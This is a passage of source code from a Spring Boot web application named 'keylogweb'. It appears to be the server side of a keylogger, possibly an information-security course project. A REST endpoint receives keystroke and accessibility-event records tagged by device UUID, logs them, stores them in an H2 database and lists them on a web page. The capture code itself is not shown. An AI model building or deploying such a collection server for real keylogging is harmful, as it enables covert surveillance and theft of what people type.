49 | nz.net.ultraq.thymeleaf
50 | thymeleaf-layout-dialect
51 | 2.3.0
52 |
53 |
54 | org.webjars
55 | bootstrap
56 | 4.0.0-2
57 |
58 |
59 |
60 | org.webjars
61 | datatables
62 | 1.10.19
63 |
64 |
65 |
66 | org.webjars
67 | webjars-locator
68 | 0.30
69 |
70 |
71 |
72 | org.springframework.boot
73 | spring-boot-starter-web
74 |
75 |
76 |
77 | org.springframework.boot
78 | spring-boot-starter-test
79 | test
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 | org.springframework.boot
90 | spring-boot-maven-plugin
91 |
92 |
93 |
94 |
95 |
96 |
97 |
--------------------------------------------------------------------------------
/keylogweb/src/main/java/com/maemresen/infsec/keylogweb/DateTimeHelper.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogweb;
2 |
3 | import java.text.ParseException;
4 | import java.text.SimpleDateFormat;
5 | import java.util.ArrayList;
6 | import java.util.Calendar;
7 | import java.util.Date;
8 | import java.util.List;
9 | import java.util.Locale;
10 |
11 | /**
12 | * Utility class for dateTime operations...
13 | *
14 | * @author mehmetkarakoc
15 | */
16 | public class DateTimeHelper {
17 |
18 | /**
19 | * DateTime format for conversion... "'T'HH:mm:ss" may be added for the time
20 | * part...
21 | *
22 | * dateFormat definition for the calendar...
23 | *
24 | * Date date = formatter.parse(dateInString);
25 | *
26 | * "EEE dd/MM/yyyy" --- "dd/MM/yyyy"
27 | *
28 | * throws ParseException {
29 | */
30 | private final static SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSSZ");
31 |
32 | /**
33 | * calendar definition...
34 | */
35 | private final static Calendar calendar = Calendar.getInstance(new Locale("tr"));
36 |
37 | /**
38 | * retrieve today
39 | *
40 | * @return current day
41 | */
42 | public static Date getCurrentDay() {
43 |
44 | Date date = new Date();
45 | simpleDateFormat.format(date);
46 | return date;
47 | }
48 |
49 | /**
50 | * Get the date as a string value...
51 | *
52 | * @param baseDate given date
53 | * @return date in string format
54 | */
55 | public static String getTheDateInString(Date baseDate) {
56 |
57 | if (baseDate == null) {
58 | return "";
59 | }
60 |
61 | String dateString = simpleDateFormat.format(baseDate);
62 |
63 | return dateString == null ? "" : dateString;
64 | }
65 |
66 | public static Date getTheDateInDate(String baseDate) {
67 |
68 | if (baseDate == null) {
69 | return new Date();
70 | }
71 |
72 | Date date = null;
73 |
74 | try {
75 | date = simpleDateFormat.parse(baseDate);
76 |
77 | } catch (ParseException e) {
78 |
79 | e.printStackTrace();
80 | }
81 |
82 | return date == null ? new Date() : date;
83 | }
84 |
85 | /**
86 | * get the date for Monday in current week...
87 | *
88 | * @param date base date
89 | * @return first day of the week
90 | */
91 | public static Date getMondayOfTheWeek(Date date) {
92 | return getDayOfTheWeek(date, 1);
93 | }
94 |
95 | public static String getFirstDayOfWeek(Date date) {
96 | return getTheDateInString(getMondayOfTheWeek(date));
97 | }
98 |
99 | /**
100 | * get the date for Sunday in current week...
101 | *
102 | * @param date base date
103 | * @return last day of the week
104 | */
105 | public static Date getSundayOfTheWeek(Date date) {
106 | return getDayOfTheWeek(date, 7);
107 | }
108 |
109 | public static String getLastDayOfWeek(Date date) {
110 | return getTheDateInString(getSundayOfTheWeek(date));
111 | }
112 |
113 | /**
114 | * get Monday or Sunday of the current week using today...
115 | *
116 | * @param date
117 | * @param daySort
118 | * @return
119 | */
120 | private static Date getDayOfTheWeek(Date date, int daySort) {
121 |
122 | calendar.setTime(date);
123 |
124 | if (daySort == 1) {
125 |
126 | // Set the calendar to MONDAY of the current week
127 | calendar.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY);
128 |
129 | } else if (daySort == 7) {
130 |
131 | // Set the calendar to SUNDAY of the current week
132 | calendar.set(Calendar.DAY_OF_WEEK, Calendar.SUNDAY);
133 | calendar.add(Calendar.DAY_OF_WEEK, 1);
134 | }
135 |
136 | return calendar.getTime();
137 | }
138 |
139 | /**
140 | * get all the dates within this week starting on Monday...
141 | *
142 | * @return the days inside of the current week that we are in
143 | */
144 | public static List getAllDaysOfTheWeek() {
145 |
146 | List dateList = new ArrayList();
147 |
148 | calendar.setTime(new Date()); // What day is today?
149 |
150 | /**
151 | * from what day...
152 | */
153 | calendar.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY);
154 | dateList.add(getTheDateInString(calendar.getTime()));
155 |
156 | /**
157 | * until the day Calendar.SUNDAY...
158 | */
159 | for (int i = 1; i <= 6; i++) {
160 |
161 | calendar.add(Calendar.DAY_OF_WEEK, 1);
162 | dateList.add(getTheDateInString(calendar.getTime()));
163 | }
164 |
165 | return dateList;
166 | }
167 |
168 | /* Akif - FormattedDateBuilder */
169 |
170 | public static String getFirstDayOfMonth(Date d) {
171 | Calendar calendar = Calendar.getInstance();
172 | calendar.setTime(d);
173 | calendar.set(Calendar.DAY_OF_MONTH, 1);
174 | Date dddd = calendar.getTime();
175 | SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM-dd");
176 | return sdf1.format(dddd);
177 | }
178 |
179 | public static String getLastDayOfMonth(Date d) {
180 | Calendar calendar = Calendar.getInstance();
181 | calendar.setTime(d);
182 | calendar.set(Calendar.DAY_OF_MONTH, calendar.getActualMaximum(Calendar.DAY_OF_MONTH));
183 | Date dddd = calendar.getTime();
184 | SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM-dd");
185 | return sdf1.format(dddd);
186 | }
187 |
188 | public static int getNumericLastDayOfMonth(Date date) {
189 | Calendar calendar = Calendar.getInstance();
190 | calendar.setTime(date);
191 | return calendar.getActualMaximum(Calendar.DAY_OF_MONTH);
192 | }
193 |
194 | public static int getCurrentWeekNumber() {
195 | return Calendar.getInstance().get(Calendar.WEEK_OF_YEAR);
196 | }
197 |
198 | public static int getYear() {
199 | return Calendar.getInstance().get(Calendar.YEAR);
200 | }
201 | }
--------------------------------------------------------------------------------
/keylogweb/src/main/java/com/maemresen/infsec/keylogweb/KeylogwebApplication.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogweb;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class KeylogwebApplication {
8 |
9 | public static void main(String[] args) {
10 | SpringApplication.run(KeylogwebApplication.class, args);
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/keylogweb/src/main/java/com/maemresen/infsec/keylogweb/controller/PageController.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogweb.controller;
2 |
3 | import com.maemresen.infsec.keylogweb.service.IKeyLogService;
4 | import org.springframework.beans.factory.annotation.Autowired;
5 | import org.springframework.stereotype.Controller;
6 | import org.springframework.ui.Model;
7 | import org.springframework.web.bind.annotation.GetMapping;
8 |
9 | /**
10 | * @author Emre Sen - 14.05.2019
11 | * @contact maemresen07@gmail.com
12 | */
13 | @Controller
14 | public class PageController {
15 |
16 | @Autowired
17 | private IKeyLogService keyLogService;
18 |
19 | @GetMapping("/home")
20 | public String home(Model model) {
21 | model.addAttribute("keyLogList", keyLogService.getKeyLogList());
22 | return "home";
23 | }
24 |
25 | }
26 |
--------------------------------------------------------------------------------
/keylogweb/src/main/java/com/maemresen/infsec/keylogweb/entity/KeyLog.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogweb.entity;
2 |
3 | import com.maemresen.infsec.keylogweb.model.KeyLogModel;
4 |
5 | import javax.persistence.Entity;
6 | import javax.persistence.GeneratedValue;
7 | import javax.persistence.GenerationType;
8 | import javax.persistence.Id;
9 | import java.util.Date;
10 |
11 | /**
12 | * @author Emre Sen - 14.05.2019
13 | * @contact maemresen07@gmail.com
14 | */
15 | @Entity
16 | public class KeyLog {
17 |
18 | @Id
19 | @GeneratedValue(strategy = GenerationType.SEQUENCE)
20 | private int id;
21 |
22 | private String uuid;
23 | private Date keyLogDate;
24 | private String accessibilityEvent;
25 | private String msg;
26 |
27 | public KeyLog(){
28 |
29 | }
30 |
31 | public KeyLog(KeyLogModel keyLogModel) {
32 | this.uuid = keyLogModel.getUuid();
33 | this.keyLogDate = keyLogModel.getKeyLogDate();
34 | this.accessibilityEvent = keyLogModel.getAccessibilityEvent();
35 | this.msg = keyLogModel.getMsg();
36 | }
37 |
38 | public int getId() {
39 | return id;
40 | }
41 |
42 | public void setId(int id) {
43 | this.id = id;
44 | }
45 |
46 | public String getUuid() {
47 | return uuid;
48 | }
49 |
50 | public void setUuid(String uuid) {
51 | this.uuid = uuid;
52 | }
53 |
54 | public Date getKeyLogDate() {
55 | return keyLogDate;
56 | }
57 |
58 | public void setKeyLogDate(Date keyLogDate) {
59 | this.keyLogDate = keyLogDate;
60 | }
61 |
62 | public String getAccessibilityEvent() {
63 | return accessibilityEvent;
64 | }
65 |
66 | public void setAccessibilityEvent(String accessibilityEvent) {
67 | this.accessibilityEvent = accessibilityEvent;
68 | }
69 |
70 | public String getMsg() {
71 | return msg;
72 | }
73 |
74 | public void setMsg(String msg) {
75 | this.msg = msg;
76 | }
77 | }
78 |
--------------------------------------------------------------------------------
/keylogweb/src/main/java/com/maemresen/infsec/keylogweb/model/KeyLogModel.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogweb.model;
2 |
3 | import java.util.Date;
4 |
5 | /**
6 | * @author Emre Sen - 14.05.2019
7 | * @contact maemresen07@gmail.com
8 | */
9 | public class KeyLogModel {
10 |
11 | private String uuid;
12 | private Date keyLogDate;
13 | private String accessibilityEvent;
14 | private String msg;
15 |
16 |
17 | public String getUuid() {
18 | return uuid;
19 | }
20 |
21 | public void setUuid(String uuid) {
22 | this.uuid = uuid;
23 | }
24 |
25 | public Date getKeyLogDate() {
26 | return keyLogDate;
27 | }
28 |
29 | public void setKeyLogDate(Date keyLogDate) {
30 | this.keyLogDate = keyLogDate;
31 | }
32 |
33 | public String getAccessibilityEvent() {
34 | return accessibilityEvent;
35 | }
36 |
37 | public void setAccessibilityEvent(String accessibilityEvent) {
38 | this.accessibilityEvent = accessibilityEvent;
39 | }
40 |
41 | public String getMsg() {
42 | return msg;
43 | }
44 |
45 | public void setMsg(String msg) {
46 | this.msg = msg;
47 | }
48 |
49 | @Override
50 | public String toString() {
51 | return "KeyLogModel{" +
52 | "uuid='" + uuid + '\'' +
53 | ", keyLogDate=" + keyLogDate +
54 | ", accessibilityEvent='" + accessibilityEvent + '\'' +
55 | ", msg='" + msg + '\'' +
56 | '}';
57 | }
58 | }
--------------------------------------------------------------------------------
/keylogweb/src/main/java/com/maemresen/infsec/keylogweb/repository/IKeyLogRepository.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogweb.repository;
2 |
3 | import com.maemresen.infsec.keylogweb.entity.KeyLog;
4 | import org.springframework.data.repository.CrudRepository;
5 | import org.springframework.stereotype.Repository;
6 |
7 | /**
8 | * @author Emre Sen - 14.05.2019
9 | * @contact maemresen07@gmail.com
10 | */
11 | @Repository
12 | public interface IKeyLogRepository extends CrudRepository {
13 |
14 | }
15 |
--------------------------------------------------------------------------------
/keylogweb/src/main/java/com/maemresen/infsec/keylogweb/restcontroller/KeyLogRestController.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogweb.restcontroller;
2 |
3 | import com.maemresen.infsec.keylogweb.DateTimeHelper;
4 | import com.maemresen.infsec.keylogweb.entity.KeyLog;
5 | import com.maemresen.infsec.keylogweb.model.KeyLogModel;
6 | import com.maemresen.infsec.keylogweb.service.IKeyLogService;
7 | import org.slf4j.Logger;
8 | import org.slf4j.LoggerFactory;
9 | import org.springframework.beans.factory.annotation.Autowired;
10 | import org.springframework.web.bind.annotation.*;
11 |
12 | /**
13 | * @author Emre Sen - 14.05.2019
14 | * @contact maemresen07@gmail.com
15 | */
16 | @RestController
17 | @RequestMapping("/keylog")
18 | public class KeyLogRestController {
19 |
20 | private Logger LOGGER = LoggerFactory.getLogger(KeyLogRestController.class);
21 |
22 | private final IKeyLogService keyLogService;
23 |
24 | public KeyLogRestController(IKeyLogService keyLogService) {
25 | this.keyLogService = keyLogService;
26 | }
27 |
28 | @PostMapping("/save")
29 | public String save(@RequestBody KeyLogModel keyLogModel) {
30 | LOGGER.info("Received Key Log"
31 | + "\n\tUUID: {}"
32 | + "\n\tMessage: {}"
33 | + "\n\tDate: {}"
34 |
35 | , keyLogModel.getUuid()
36 | , keyLogModel.getMsg()
37 | , DateTimeHelper.getTheDateInString(keyLogModel.getKeyLogDate()));
38 | KeyLog keyLog = new KeyLog(keyLogModel);
39 | keyLogService.save(keyLog);
40 | return "Success";
41 | }
42 |
43 | }
44 |
--------------------------------------------------------------------------------
/keylogweb/src/main/java/com/maemresen/infsec/keylogweb/service/IKeyLogService.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogweb.service;
2 |
3 | import com.maemresen.infsec.keylogweb.entity.KeyLog;
4 |
5 | import java.util.List;
6 |
7 | /**
8 | * @author Emre Sen - 14.05.2019
9 | * @contact maemresen07@gmail.com
10 | */
11 | public interface IKeyLogService {
12 |
13 | public List getKeyLogList();
14 |
15 | public KeyLog save(KeyLog keyLog);
16 |
17 | }
18 |
--------------------------------------------------------------------------------
/keylogweb/src/main/java/com/maemresen/infsec/keylogweb/service/impl/KeyLogServiceDatabaseImpl.java:
--------------------------------------------------------------------------------
1 | package com.maemresen.infsec.keylogweb.service.impl;
2 |
3 | import com.maemresen.infsec.keylogweb.entity.KeyLog;
4 | import com.maemresen.infsec.keylogweb.repository.IKeyLogRepository;
5 | import com.maemresen.infsec.keylogweb.service.IKeyLogService;
6 | import org.springframework.beans.factory.annotation.Autowired;
7 | import org.springframework.stereotype.Service;
8 |
9 | import java.util.ArrayList;
10 | import java.util.List;
11 | import java.util.stream.Collector;
12 | import java.util.stream.Collectors;
13 | import java.util.stream.Stream;
14 | import java.util.stream.StreamSupport;
15 |
16 | /**
17 | * @author Emre Sen - 14.05.2019
18 | * @contact maemresen07@gmail.com
19 | */
20 | @Service
21 | public class KeyLogServiceDatabaseImpl implements IKeyLogService {
22 |
23 | @Autowired
24 | private IKeyLogRepository keyLogRepository;
25 |
26 | @Override
27 | public List getKeyLogList() {
28 | return StreamSupport.stream(keyLogRepository.findAll().spliterator(), false)
29 | .collect(Collectors.toList());
30 | }
31 |
32 | @Override
33 | public KeyLog save(KeyLog keyLog) {
34 | return keyLogRepository.save(keyLog);
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/keylogweb/src/main/resources/application.yaml:
--------------------------------------------------------------------------------
1 | server:
2 |
3 | # configures the port that Eureka Server will be running
4 | port: 8080
5 |
6 |
7 | spring:
8 |
9 | # DataSource Configuration
10 | datasource:
11 | url: jdbc:h2:~/test
12 | username: sa
13 | password:
14 | initialization-mode: always
15 |
16 | # JPA Configurations
17 | jpa:
18 | #hibernate.ddl-auto: create
19 | properties:
20 | hibernate.show_sql: false
21 | hibernate.format_sql: true
22 | hibernate.jdbc.lob.non_contextual_creation: true
23 | hibernate:
24 | ddl-auto: create
--------------------------------------------------------------------------------
/keylogweb/src/main/resources/templates/fragments/footer.html:
--------------------------------------------------------------------------------
1 |
3 |
--------------------------------------------------------------------------------
/keylogweb/src/main/resources/templates/fragments/header.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
15 |
16 |
--------------------------------------------------------------------------------
/keylogweb/src/main/resources/templates/home.html:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
23 |
24 |
25 |
26 |
27 |
28 | UUID |
29 | Accessibility Event |
30 | Message |
31 | Date |
32 |
33 |
34 |
35 |
36 |
37 | |
38 | |
39 | |
40 | |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
--------------------------------------------------------------------------------
/keylogweb/src/main/resources/templates/layouts/layout.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
24 |
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------